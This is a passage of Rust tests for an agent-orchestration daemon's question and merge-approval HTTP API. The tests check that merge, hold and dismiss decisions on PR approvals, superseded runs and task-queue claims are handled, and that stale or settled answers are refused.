12175 for owner in ["missing", "current", "completed", "later"] {
12176 let fx = Fixture {
12177 home: TempDir::new().unwrap(),
12178 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12179 };
12180 let mut state = obsolete_approval_state();
12181 state.status = RunStatus::Landing;
12182 state.parked = true;
12183 state.driver_exited = true;
12184 let mut q = Question::new(
12185 state.id.clone(),
12186 crate::land::APPROVAL_NODE.into(),
12187 "land".into(),
12188 "Old approval".into(),
12189 "Original evidence".into(),
12190 vec!["merge".into(), "hold".into()],
12191 );
12192 state.land_approval = Some(crate::run::LandApproval {
12193 question: q.id.clone(),
12194 head: "head".into(),
12195 });
12196 state.save_under(fx.home.path()).unwrap();
12197 let stale = state.clone();
12198 fx.questions().put(&mut q).unwrap();
12199 let mut task = Task::new(
12200 "Owner".into(),
12201 "Original instruction".into(),
12202 state.repo.clone(),
12203 Source::Human,
12204 );
12205 task.runs.push(state.id.clone());
12206 task.status = if owner == "completed" {
12207 TaskStatus::Done
12208 } else {
12209 TaskStatus::Parked
12210 };
12211 if owner == "later" {
12212 task.runs.push("later-run".into());
12213 }
12214 if owner != "missing" {
12215 fx.queue().put(&mut task).unwrap();
12216 }
12217 let ui = Arc::new(Ui::new(
12218 fx.queue(),
12219 fx.questions(),
12220 fx.talks(),
12221 fx.runs(),
12222 fx.home.path().into(),
12223 state.repo.clone(),
12224 ));
12225 let response = question_answer(
12226 State(ui),
12227 Path(q.id.clone()),
12228 Ok(Json(NewAnswer {
12229 choice: Some(crate::merge_decision::DISMISS.into()),
12230 text: None,
12231 ..Default::default()
12232 })),
12233 )
12234 .await
12235 .unwrap();
12236 assert_eq!(
12237 response.0.question.resolution().as_deref(),
12238 Some(crate::merge_decision::DISMISS)
12239 );
12240 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12241 assert_eq!(disk.status, RunStatus::Superseded);
12242 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12243 assert!(!crate::merge_decision::resumable_hold(&disk));
12244 assert_eq!(
12245 serde_json::to_value(&disk.pr).unwrap(),
12246 serde_json::to_value(&stale.pr).unwrap()
12247 );
12248 assert_eq!(fx.questions().count_open(), 0);
12249 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12250 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12251 if owner == "missing" {
12252 assert!(fx.queue().list().is_empty());
12253 } else {
12254 let after = fx.queue().get(&task.id).unwrap();
12255 assert_eq!(
12256 after.status,
12257 if owner == "current" {
12258 TaskStatus::Done
12259 } else {
12260 task.status
12261 }
12262 );
12263 assert_eq!(after.runs, task.runs);
12264 assert_eq!(after.instruction, task.instruction);
12265 assert_eq!(after.action_applied(&q.id), owner == "current");
12266 }
12267 }
12268 }
12269
12270 #[tokio::test]
12271 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12272 let fx = Fixture::start().await;
12273 let mut state = obsolete_approval_state();
12274 state.status = RunStatus::Landing;
12275 state.parked = true;
12276 state.driver_exited = true;
12277 let mut q = Question::new(
12278 state.id.clone(),
12279 crate::land::APPROVAL_NODE.into(),
12280 "land".into(),
12281 "Superseded PR approval".into(),
12282 "Original review evidence".into(),
12283 vec!["merge".into(), "hold".into()],
12284 );
12285 state.land_approval = Some(crate::run::LandApproval {
12286 question: q.id.clone(),
12287 head: "old-reviewed-head".into(),
12288 });
12289 state.save_under(fx.home.path()).unwrap();
12292 let stale_driver = state.clone();
12293 fx.questions().put(&mut q).unwrap();
12294 let path = fx
12295 .home
12296 .path()
12297 .join("questions")
12298 .join(format!("{}.json", q.id));
12299 let mut legacy = serde_json::to_value(&q).unwrap();
12300 legacy["schema"] = 9.into();
12301 legacy.as_object_mut().unwrap().remove("merge_target");
12302 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12303
12304 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12307 let answer_path = format!("/api/questions/{}/answer", q.id);
12308 let res = fx.post(&answer_path, Some(&body)).await;
12309 assert_eq!(res.status, 200, "{}", res.body);
12310 let disk = fx.questions().get(&q.id).unwrap();
12311 assert_eq!(
12312 disk.resolution().as_deref(),
12313 Some(crate::merge_decision::DISMISS)
12314 );
12315 assert!(disk.detail.starts_with("Original review evidence"));
12316 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12317 assert_eq!(retired.status, RunStatus::Superseded);
12318 assert_eq!(
12319 serde_json::to_value(&retired.pr).unwrap(),
12320 serde_json::to_value(&state.pr).unwrap()
12321 );
12322 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12323 assert!(!crate::merge_decision::resumable_hold(&retired));
12324 assert!(fx.queue().list().is_empty());
12325 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12326 let addr = Fixture::serve(
12328 fx.home.path(),
12329 PathBuf::from("/repo/magi"),
12330 launch_idle,
12331 None,
12332 )
12333 .await;
12334 let reconnected = Fixture {
12335 home: fx.home,
12336 addr,
12337 };
12338 let listed = reconnected.get("/api/questions").await.json();
12339 assert!(
12340 listed
12341 .as_array()
12342 .unwrap()
12343 .iter()
12344 .all(|q| q["status"] != "open")
12345 );
12346 assert_eq!(listed[0]["id"], q.id, "history remains available");
12347 assert_eq!(
12348 reconnected.get("/api/health").await.json()["questions_open"],
12349 0
12350 );
12351 assert_eq!(
12352 reconnected
12353 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12354 .await
12355 .status,
12356 409
12357 );
12358 assert!(
12360 reconnected
12361 .questions()
12362 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12363 .is_err()
12364 );
12365 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12368 }
12369
12370 #[tokio::test]
12371 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12372 let fx = Fixture::start().await;
12373 let mut state = obsolete_approval_state();
12374 state.status = RunStatus::Landing;
12375 state.driver_exited = true;
12376 let mut q = Question::new(
12377 state.id.clone(),
12378 crate::land::APPROVAL_NODE.into(),
12379 "land".into(),
12380 "Obsolete approval".into(),
12381 String::new(),
12382 vec!["merge".into(), "hold".into()],
12383 );
12384 state.land_approval = Some(crate::run::LandApproval {
12385 question: q.id.clone(),
12386 head: "head".into(),
12387 });
12388 state.save_under(fx.home.path()).unwrap();
12389 fx.questions().put(&mut q).unwrap();
12390 let mut task = Task::new(
12391 "Owner".into(),
12392 "Original instruction".into(),
12393 state.repo.clone(),
12394 Source::Human,
12395 );
12396 task.runs = vec![state.id.clone(), "later-run".into()];
12397 fx.queue().put(&mut task).unwrap();
12398 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12399 let claim = fx.queue().claim(&task.id).unwrap();
12400 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12401 let path = format!("/api/questions/{}/answer", q.id);
12402 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12403 assert!(fx.questions().get(&q.id).unwrap().status.open());
12404 drop(claim);
12405 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12406 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12407 assert!(fx.questions().get(&q.id).unwrap().status.open());
12408 drop(publication);
12409 state.driver_exited = false;
12411 state.driver_pid = None;
12412 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12414 assert_eq!(
12415 state.liveness_under(fx.home.path(), false),
12416 crate::run::Liveness::Unknown
12417 );
12418
12419 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12420 state.driver_exited = true;
12421 state.land_armed_head = Some("head".into());
12422 state.save_under(fx.home.path()).unwrap();
12423 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12424 state.land_armed_head = None;
12425 state.save_under(fx.home.path()).unwrap();
12426 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12427 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12428 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12429 }
12430
12431 #[tokio::test]
12432 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12433 let fx = Fixture::start().await;
12434 let mut state = obsolete_approval_state();
12435 state.status = RunStatus::Landing;
12436 state.driver_exited = true;
12437 let mut q = Question::new(
12438 state.id.clone(),
12439 crate::land::APPROVAL_NODE.into(),
12440 "land".into(),
12441 "Obsolete approval".into(),
12442 String::new(),
12443 vec!["merge".into(), "hold".into()],
12444 );
12445 state.land_approval = Some(crate::run::LandApproval {
12446 question: q.id.clone(),
12447 head: "head".into(),
12448 });
12449 state.save_under(fx.home.path()).unwrap();
12450 fx.questions().put(&mut q).unwrap();
12451 let mut task = Task::new(
12452 "Owner".into(),
12453 "Original instruction".into(),
12454 state.repo.clone(),
12455 Source::Human,
12456 );
12457 task.runs.push(state.id.clone());
12458 task.status = TaskStatus::Parked;
12459 fx.queue().put(&mut task).unwrap();
12460 state.merge_decision = Some(crate::merge_decision::Decision {
12463 question: q.id.clone(),
12464 target: crate::merge_decision::Target {
12465 pr: state.pr.as_ref().unwrap().url.clone(),
12466 head: "head".into(),
12467 language: "ja".into(),
12468 },
12469 choice: crate::merge_decision::DISMISS.into(),
12470 closed: false,
12471 replacement_run: None,
12472 replacement_pr: None,
12473 });
12474 state.status = RunStatus::Superseded;
12475 state.save_under(fx.home.path()).unwrap();
12476 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12477 let path = format!("/api/questions/{}/answer", q.id);
12478 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12479 let done = fx.queue().get(&task.id).unwrap();
12480 assert_eq!(done.status, TaskStatus::Done);
12481 assert_eq!(done.runs, task.runs);
12482 assert_eq!(done.instruction, task.instruction);
12483 assert!(done.action_applied(&q.id));
12484 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12485 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12486 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12487 }
12488
12489 #[tokio::test]
12490 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12491 let home = TempDir::new().unwrap();
12492 let ui = Arc::new(Ui::new(
12493 Queue::at(home.path().join("queue")),
12494 Questions::at(home.path().join("questions")),
12495 Talks::at(home.path().join("talks")),
12496 home.path().join("runs"),
12497 home.path().to_owned(),
12498 home.path().to_owned(),
12499 ));
12500 let talks = &ui.talks;
12501 let chat =
12502 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12503 let mut q = Question::new(
12504 "run".into(),
12505 crate::land::APPROVAL_NODE.into(),
12506 "land".into(),
12507 "Merge?".into(),
12508 String::new(),
12509 vec!["merge".into(), "hold".into()],
12510 );
12511 q.routed_task = Some("task".into());
12512 q.routed_chat = Some(chat.id.clone());
12513 q.merge_target = Some(crate::merge_decision::Target {
12514 pr: "https://example.test/pull/1".into(),
12515 head: "head-a".into(),
12516 language: "en".into(),
12517 });
12518 ui.questions.put(&mut q).unwrap();
12519 let send = |body| {
12520 question_answer(
12521 State(ui.clone()),
12522 Path(q.id.clone()),
12523 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12524 )
12525 };
12526 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12527 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12528 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12529 assert!(send(wrong_chat).await.is_err());
12530 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12531 assert!(send(stale).await.is_err());
12532 assert!(ui.questions.get(&q.id).unwrap().status.open());
12533 assert!(send(button.clone()).await.is_ok());
12534 assert_eq!(
12535 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12536 Some("merge")
12537 );
12538 assert!(send(button).await.is_err());
12539 }
12540
12541 #[tokio::test]
12542 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12543 let home = TempDir::new().unwrap();
12544 let ui = Arc::new(Ui::new(
12545 Queue::at(home.path().join("queue")),
12546 Questions::at(home.path().join("questions")),
12547 Talks::at(home.path().join("talks")),
12548 home.path().join("runs"),
12549 home.path().to_owned(),
12550 home.path().to_owned(),
12551 ));
12552 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12553 let mut q = Question::new(
12554 "run".into(),
12555 crate::land::APPROVAL_NODE.into(),
12556 "land".into(),
12557 "Merge?".into(),
12558 String::new(),
12559 vec!["merge".into(), choice.into()],
12560 );
12561 q.routed_task = Some("task".into());
12562 q.merge_target = Some(crate::merge_decision::Target {
12563 pr: "https://example.test/pull/1".into(),
12564 head: "head-a".into(),
12565 language: "en".into(),
12566 });
12567 ui.questions.put(&mut q).unwrap();
12568 let answer = |c: &str| {
12569 question_answer(
12570 State(ui.clone()),
12571 Path(q.id.clone()),
12572 Ok(Json(
12573 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12574 .unwrap(),
12575 )),
12576 )
12577 };
12578 let _ = answer(choice).await.unwrap();
12579 assert_eq!(
12580 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12581 Some(choice)
12582 );
12583 }
12584 }
12585
12586 #[tokio::test]
12587 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12588 let home = TempDir::new().unwrap();
12589 let ui = Arc::new(Ui::new(
12590 Queue::at(home.path().join("queue")),
12591 Questions::at(home.path().join("questions")),
12592 Talks::at(home.path().join("talks")),
12593 home.path().join("runs"),
12594 home.path().to_owned(),
12595 home.path().to_owned(),
12596 ));
12597 let mut q = Question::new(
12598 "run".into(),
12599 crate::github_text::ASK_NODE.into(),
12600 "posting-gate".into(),
12601 "Post?".into(),
12602 String::new(),
12603 vec!["use fallback".into()],
12604 );
12605 q.routed_task = Some("task".into());
12606 ui.questions.put(&mut q).unwrap();
12607 let sent = question_answer(
12608 State(ui.clone()),
12609 Path(q.id.clone()),
12610 Ok(Json(
12611 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12612 .unwrap(),
12613 )),
12614 )
12615 .await;
12616 let _ = sent.unwrap();
12617 assert_eq!(
12618 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12619 Some("use fallback")
12620 );
12621 }
12622
12623 #[tokio::test]
12624 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12625 let fx = Fixture {
12626 home: TempDir::new().unwrap(),
12627 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12628 };
12629 for choice in [
12630 crate::land::HOLD,
12631 crate::land::REPAIR,
12632 crate::land::APPROVE,
12633 crate::merge_decision::WITHDRAW,
12634 "reimplement:beta",
12635 ] {
12636 let mut q = Question::new(
12637 "old-run".into(),
12638 crate::land::APPROVAL_NODE.into(),
12639 "land".into(),
12640 "Decision".into(),
12641 "Review findings".into(),
12642 vec![
12643 "merge".into(),
12644 "hold".into(),
12645 crate::land::REPAIR.into(),
12646 crate::merge_decision::WITHDRAW.into(),
12647 "reimplement:beta".into(),
12648 ],
12649 );
12650 q.merge_target = Some(crate::merge_decision::Target {
12651 pr: "https://github.com/example/repo/pull/42".into(),
12652 head: "exact-reviewed-head".into(),
12653 language: "ja".into(),
12654 });
12655 q.consult = Some(ask::ChatConsult {
12656 talk: "another-conversation".into(),
12657 at: jiff::Timestamp::now(),
12658 });
12659 fx.questions().put(&mut q).unwrap();
12660 let ui = Arc::new(Ui::new(
12661 fx.queue(),
12662 fx.questions(),
12663 fx.talks(),
12664 fx.runs(),
12665 fx.home.path().into(),
12666 std::path::PathBuf::from("."),
12667 ));
12668 let response = question_answer(
12669 State(ui.clone()),
12670 Path(q.id.clone()),
12671 Ok(Json(NewAnswer {
12672 choice: Some(choice.into()),
12673 text: None,
12674 ..Default::default()
12675 })),
12676 )
12677 .await
12678 .unwrap();
12679 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12680 let disk = fx.questions().get(&q.id).unwrap();
12681 assert_eq!(disk.merge_target, q.merge_target);
12682 assert_eq!(disk.consult, q.consult);
12683 assert_eq!(disk.resolution().as_deref(), Some(choice));
12684 assert!(
12685 question_answer(
12686 State(ui),
12687 Path(q.id.clone()),
12688 Ok(Json(NewAnswer {
12689 choice: Some("merge".into()),
12690 text: None,
12691 ..Default::default()
12692 }))
12693 )
12694 .await
12695 .is_err(),
12696 "an already settled decision cannot turn into merge approval"
12697 );
12698 }
12699 }
12700
12701 #[tokio::test]
12702 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12703 let fx = Fixture {
12704 home: TempDir::new().unwrap(),
12705 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12706 };
12707 let mut state = crate::land::tests::repair_state(true, true);
12708 state.status = RunStatus::Landing;
12709 state.parked = true;
12710 state.driver_exited = true;
12711 let mut task = Task::new(
12712 "Existing PR owner".into(),
12713 state.instruction.clone(),
12714 state.repo.clone(),
12715 Source::Human,
12716 );
12717 task.runs.push(state.id.clone());
12718 task.status = TaskStatus::Parked;
12719 fx.queue().put(&mut task).unwrap();
12720 let mut q = Question::new(
12721 state.id.clone(),
12722 crate::land::APPROVAL_NODE.into(),
12723 "land".into(),
12724 "Contested merge".into(),
12725 "Original evidence".into(),
12726 vec!["merge".into(), "hold".into()],
12727 );
12728 state.land_approval = Some(crate::run::LandApproval {
12729 question: q.id.clone(),
12730 head: "reviewed-head".into(),
12731 });
12732 state.save_under(fx.home.path()).unwrap();
12733 fx.questions().put(&mut q).unwrap();
12734 task.hold_manual(Some("Pause this PR".into()));
12736 fx.queue().put(&mut task).unwrap();
12737 let ui = Arc::new(Ui::new(
12740 fx.queue(),
12741 fx.questions(),
12742 fx.talks(),
12743 fx.runs(),
12744 fx.home.path().to_path_buf(),
12745 state.repo.clone(),
12746 ));
12747 let response = question_answer(
12748 State(ui),
12749 Path(q.id.clone()),
12750 Ok(Json(NewAnswer {
12751 choice: Some(crate::land::REPAIR.into()),
12752 text: None,
12753 ..Default::default()
12754 })),
12755 )
12756 .await
12757 .unwrap();
12758 assert_eq!(response.0.question.id, q.id);
12759 let upgraded = fx.questions().get(&q.id).unwrap();
12760 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12761 assert!(upgraded.detail.starts_with("Original evidence"));
12762 let claim = fx.queue().claim(&task.id).unwrap();
12763 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12764 assert!(
12765 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12766 "an existing driver keeps its claim"
12767 );
12768 drop(claim);
12769 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12770 let resumed = fx.queue().get(&task.id).unwrap();
12771 assert_eq!(
12772 resumed
12773 .resume_override
12774 .as_ref()
12775 .unwrap()
12776 .pinned_run
12777 .as_deref(),
12778 Some(state.id.as_str())
12779 );
12780 assert!(resumed.status.runnable());
12781 assert_eq!(resumed.instruction, task.instruction);
12782 assert_eq!(resumed.runs, task.runs);
12783 assert!(resumed.action_applied(&q.id));
12784 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12785 assert_eq!(fx.queue().list().len(), 1);
12786 assert_eq!(
12787 fx.queue().get(&task.id).unwrap().resume_override,
12788 resumed.resume_override
12789 );
12790 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12791 assert!(
12792 disk.merge_repairs.is_empty(),
12793 "only the claimed run driver may execute repair"
12794 );
12795 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12796 }
12797
12798 #[tokio::test]
12799 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12800 let fx = Fixture::start().await;
12801 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12802 let path = format!("/api/questions/{id}/answer");
12803
12804 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12805 assert_eq!(res.status, 200, "{}", res.body);
12806 let body = res.json();
12807 assert_eq!(body["status"], "answered");
12808 assert_eq!(body["answer"]["choice"], "Redis");
12809
12810 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12814 assert_eq!(again.status, 409, "{}", again.body);
12815 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12816 }
12817
12818 #[tokio::test]
12819 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12820 let home = tempfile::tempdir().unwrap();
12821 let ui = delta_test_ui(home.path());
12822 let mut q = Question::new(
12823 "task".into(),
12824 crate::land::APPROVAL_NODE.into(),
12825 "land".into(),
12826 "Explain?".into(),
12827 String::new(),
12828 vec!["hold".into()],
12829 );
12830 q.deputy = Some(ask::Deputy::new("context".into()));
12831 ui.questions.put(&mut q).unwrap();
12832 let mut cfg = stub_config();
12833 cfg.daemon.max_deputies = 0;
12834 let mut status = crate::daemon::Status::new();
12835 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12836 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12837 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12838 let error = question_say(
12839 State(ui.clone()),
12840 Path(q.id.clone()),
12841 Ok(Json(NewSay {
12842 body: "Explain the findings".into(),
12843 })),
12844 )
12845 .await
12846 .unwrap_err();
12847 assert_eq!(
12848 error.text_reason,
12849 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12850 );
12851 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12852
12853 let mut text = Question::new(
12854 "task".into(),
12855 "ask".into(),
12856 "operator".into(),
12857 "Which name?".into(),
12858 String::new(),
12859 vec![],
12860 );
12861 ui.questions.put(&mut text).unwrap();
12862 let Json(view) = question_answer(
12863 State(ui.clone()),
12864 Path(text.id.clone()),
12865 Ok(Json(NewAnswer {
12866 choice: None,
12867 text: Some("chosen name".into()),
12868 ..Default::default()
12869 })),
12870 )
12871 .await
12872 .unwrap();
12873 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12874 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12875 }
12876
12877 #[tokio::test]
12878 async fn question_text_handler_admission_without_transport() {
12879 let home = tempfile::tempdir().unwrap();
12880 let ui = delta_test_ui(home.path());
12881 let mut q = Question::new(
12882 "task".into(),
12883 crate::land::APPROVAL_NODE.into(),
12884 "land".into(),
12885 "May this PR merge?".into(),
12886 String::new(),
12887 vec!["hold".into()],
12888 );
12889 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12890 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12891 ui.questions.put(&mut q).unwrap();
12892 let say = || {
12893 Ok(Json(NewSay {
12894 body: "Explain the findings".into(),
12895 }))
12896 };
12897 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12898 .await
12899 .unwrap_err();
12900 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12901 let response = rejected.into_response();
12902 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12903 .await
12904 .unwrap();
12905 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12906 assert_eq!(body["code"], "question_text_unavailable");
12907 assert_eq!(body["reason"], "deputy_exhausted");
12908 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12909 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12910 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12911 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12912 .await
12913 .unwrap();
12914 assert_eq!(view.text_delivery.state, "live");
12915 assert!(view.question.waiter.is_none());
12916 assert!(view.question.cwd.is_none());
12917 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12918 ui.questions.drop_lease(&q.id);
12919 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12920 .await
12921 .unwrap_err();
12922 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12923 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12924 let _ = question_answer(
12925 State(ui.clone()),
12926 Path(q.id.clone()),
12927 Ok(Json(NewAnswer {
12928 choice: Some("hold".into()),
12929 text: None,
12930 ..Default::default()
12931 })),
12932 )
12933 .await
12934 .unwrap();
12935 assert_eq!(
12936 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12937 Some("hold")
12938 );
12939 }
12940
12941 #[tokio::test]
12942 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12943 let fx = Fixture::start().await;
12944 let store = fx.questions();
12945 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12946 store
12947 .update(&id, |q| {
12948 q.node = crate::land::APPROVAL_NODE.to_owned();
12949 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12950 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12951 Ok(())
12952 })
12953 .unwrap();
12954 let path = format!("/api/questions/{id}/say");
12955 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12956 assert_eq!(refused.status, 422, "{}", refused.body);
12957 assert!(
12958 refused.json()["error"]
12959 .as_str()
12960 .unwrap()
12961 .contains("deputy_exhausted")
12962 );
12963 assert!(store.get(&id).unwrap().thread.is_empty());
12964
12965 store.beat(&id, ask::WaiterKind::Deputy);
12967 let view = fx.get("/api/questions").await.json();
12968 assert_eq!(view[0]["text_delivery"]["state"], "live");
12969 let accepted = fx
12970 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12971 .await;
12972 assert_eq!(accepted.status, 200, "{}", accepted.body);
12973 let before = std::fs::read(store.path_of(&id)).unwrap();
12974
12975 store.drop_lease(&id);
12978 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12979 assert_eq!(refused.status, 422, "{}", refused.body);
12980 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12981 let held = fx
12982 .post(
12983 &format!("/api/questions/{id}/answer"),
12984 Some(r#"{"choice":"hold"}"#),
12985 )
12986 .await;
12987 assert_eq!(held.status, 200, "{}", held.body);
12988 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12989 }
12990
12991 #[tokio::test]
12992 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12993 let repo = tempfile::tempdir().unwrap();
12994 let mut cfg = stub_config();
12995 cfg.daemon.max_deputies = 0;
12996 std::fs::write(
12997 repo.path().join("magi.toml"),
12998 toml::to_string(&cfg).unwrap(),
12999 )
13000 .unwrap();
13001 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13002 let mut status = crate::daemon::Status::new();
13003 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13004 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13005 let id = ask(&fx, "Explain?", &["hold"]);
13006 fx.questions()
13007 .update(&id, |q| {
13008 q.node = crate::land::APPROVAL_NODE.into();
13009 q.deputy = Some(ask::Deputy::new("context".into()));
13010 q.deputy.as_mut().unwrap().agent = "stub".into();
13011 Ok(())
13012 })
13013 .unwrap();
13014 cfg.daemon.max_deputies = 1;
13015 std::fs::write(
13016 repo.path().join("magi.toml"),
13017 toml::to_string(&cfg).unwrap(),
13018 )
13019 .unwrap();
13020 let view = fx.get("/api/questions").await.json();
13021 assert_eq!(view[0]["deputies_enabled"], true);
13022 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13023 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13024 let res = fx
13025 .post(
13026 &format!("/api/questions/{id}/say"),
13027 Some(r#"{"body":"Please explain"}"#),
13028 )
13029 .await;
13030 assert_eq!(res.status, 422, "{}", res.body);
13031 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13032 }
13033
13034 #[tokio::test]
13035 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13036 let fx = Fixture::start().await;
13037 let id = ask(&fx, "No seat", &[]);
13038 let store = fx.questions();
13039 let before = std::fs::read(store.path_of(&id)).unwrap();
13040 let res = fx
13041 .post(
13042 &format!("/api/questions/{id}/say"),
13043 Some(r#"{"body":"hello"}"#),
13044 )
13045 .await;
13046 assert_eq!(res.status, 422, "{}", res.body);
13047 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13048 let res = fx
13049 .post(
13050 &format!("/api/questions/{id}/answer"),
13051 Some(r#"{"text":"hello"}"#),
13052 )
13053 .await;
13054 assert_eq!(res.status, 200, "{}", res.body);
13055 assert_eq!(
13056 store.get(&id).unwrap().resolution().as_deref(),
13057 Some("hello")
13058 );
13059 }
13060
13061 #[tokio::test]
13062 async fn saying_something_appends_a_turn_without_answering() {
13063 let fx = Fixture::start().await;
13064 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13065 fx.questions().beat(&id, ask::WaiterKind::Asker);
13066 let path = format!("/api/questions/{id}/say");
13067
13068 let res = fx
13069 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13070 .await;
13071 assert_eq!(res.status, 200, "{}", res.body);
13072 let body = res.json();
13073 assert_eq!(body["status"], "open", "talking back is not a decision");
13074 assert_eq!(body["answer"], Value::Null);
13075 assert_eq!(body["thread"][0]["who"], "operator");
13076 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13077 assert_eq!(body["waiting_on_agent"], true);
13078 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13080 }
13081
13082 #[tokio::test]
13083 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13084 let fx = Fixture::start().await;
13085 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13086
